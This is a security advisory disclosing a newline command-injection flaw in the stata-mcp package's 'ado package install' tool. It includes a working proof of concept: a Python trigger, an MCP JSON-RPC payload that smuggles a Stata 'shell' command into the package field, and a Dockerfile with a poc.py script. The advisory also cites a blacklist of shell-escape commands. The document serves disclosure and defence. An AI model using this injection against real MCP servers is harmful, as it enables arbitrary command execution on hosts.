PT-2026-75924 · Pypi · Stata-Mcp

Published

2026-08-12

·

Updated

2026-08-12

CVSS v3.1

8.4

High

VectorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Stata Command Injection via Unsanitized package in ado package install

Summary

The ado package install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC Install.install():
python
# src/stata mcp/stata/builtin tools/ado install/ssc install.py:14-16
def install(self, package: str) -> str:
  install command = f"ssc install {package}{self.REPLACE MESSAGE}"
  runner result = self.controller.run(install command)
The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
python
# src/stata mcp/stata/stata controller/controller.py:98-99
# Send the command
self.child.sendline(command)
pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
  1. Exposuresrc/stata mcp/mcp servers.py:626-632: TOOL REGISTRY registers ado package install in the all profile.
  2. Default activationsrc/stata mcp/cli/ handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
  3. Propagationsrc/stata mcp/mcp servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
  4. Sink constructionsrc/stata mcp/stata/builtin tools/ado install/ssc install.py:15: package is interpolated into install command.
  5. Deliverysrc/stata mcp/stata/stata controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.
A guard/blacklist (src/stata mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites
  • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake stata.py) that honours the shell command.
Container-based reproduction (no Stata license required)
bash
# Build (run from the repository root)
docker build -t stata-mcp-poc-001 
  -f vuln-001/Dockerfile 
  reports/pypiAi 828 SepineTam stata-mcp/

# Run
docker run --rm stata-mcp-poc-001
Direct Python trigger (unmodified source)
python
import os
from stata mcp.stata.builtin tools.ado install.ssc install import SSC Install

MARKER = "/tmp/stata mcp ado poc"
PAYLOAD = f"outreg2
shell touch {MARKER}
//"

installer = SSC Install("/usr/local/bin/stata", is replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
The payload "outreg2 shell touch /tmp/stata mcp ado poc //" is expanded by the f-string at ssc install.py:15 into:
ssc install outreg2
shell touch /tmp/stata mcp ado poc
//, replace
Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.
MCP JSON-RPC trigger
json
{
 "tool": "ado package install",
 "arguments": {
  "source": "ssc",
  "package": "outreg2
shell touch /tmp/stata mcp ado poc
//",
  "is replace": true
 }
}
Expected output
[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata mcp ado poc
[+] The injected Stata 'shell' command was executed by the REPL.
Phase 2 dynamic reproduction confirmed the marker file /tmp/stata mcp ado poc was created inside the Docker container, and install() returned a string containing the injected command:
Installation State: False
ssc install outreg2r
shell touch /tmp/stata mcp ado pocr
//, replace

Impact

This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado package install MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.
Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.
Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.

Reproduction artifacts

Dockerfile

dockerfile
# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
#  docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
#  SSC Install.install() (ssc install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
#  (fake stata.py) that honours the 'shell <cmd>' Stata command.
#  The vulnerable stata-mcp code is installed unmodified from the repo.

FROM python:3.11-slim

# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0

# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata

# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src

# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py

WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado package install` (SSC path).

Vulnerable code:
  ssc install.py:15
    install command = f"ssc install {package}{self.REPLACE MESSAGE}"
  controller.py:99
    self.child.sendline(command)

Attack: embed a newline in `package` to inject an additional Stata command.
  package = "outreg2
shell touch /tmp/stata mcp ado poc
//"

The constructed command string becomes:
  ssc install outreg2
  shell touch /tmp/stata mcp ado poc
  //, replace

pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata mcp ado poc',
which runs the OS command 'touch /tmp/stata mcp ado poc'.

Marker file creation confirms RCE.
"""
import os
import sys

FAKE STATA = "/usr/local/bin/stata"
MARKER FILE = "/tmp/stata mcp ado poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE MESSAGE.
PAYLOAD = f"outreg2
shell touch {MARKER FILE}
//"


def main() -> int:
  print("=" * 60)
  print("VULN-001 PoC: Stata Command Injection via ado package install")
  print("=" * 60)
  print(f"[*] Fake Stata binary : {FAKE STATA}")
  print(f"[*] Marker file    : {MARKER FILE}")
  print(f"[*] Payload (repr)  : {PAYLOAD!r}")
  print()

  # Clean up any previous run.
  if os.path.exists(MARKER FILE):
    os.remove(MARKER FILE)
    print(f"[*] Removed pre-existing marker file.")

  # Import the vulnerable class directly -- no MCP or config layer needed.
  # The vulnerability lives entirely in SSC Install.install() and the
  # StataController that sends the command to the Stata REPL.
  from stata mcp.stata.builtin tools.ado install.ssc install import SSC Install

  print("[*] Instantiating SSC Install with fake Stata binary...")
  installer = SSC Install(FAKE STATA, is replace=True, timeout=10)

  print(f"[*] Calling install({PAYLOAD!r}) ...")
  try:
    result = installer.install(PAYLOAD)
    print(f"[*] install() returned: {result[:200]!r}")
  except Exception as exc:
    # A RuntimeError from StataController is acceptable; the shell command
    # may have already executed before the error is detected.
    print(f"[!] install() raised (may be expected): {type(exc). name }: {exc}")

  print()

  # --- Verdict ---
  if os.path.exists(MARKER FILE):
    print("[+] PASS - RCE CONFIRMED")
    print(f"[+] Marker file exists: {MARKER FILE}")
    print("[+] The injected Stata 'shell' command was executed by the REPL.")
    print("[+] Constructed command delivered via sendline():")
    print("[+]  ssc install outreg2")
    print(f"[+]  shell touch {MARKER FILE} <-- OS command executed here")
    print("[+]  //")
    return 0
  else:
    print("[-] FAIL - Marker file not found.")
    print("[-] The injected shell command did not produce the expected artefact.")
    return 1


if  name  == " main ":
  sys.exit(main())

Fix

Code Injection

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Weakness Enumeration

Related Identifiers

GHSA-49M4-VP58-WGC9

Affected Products

Stata-Mcp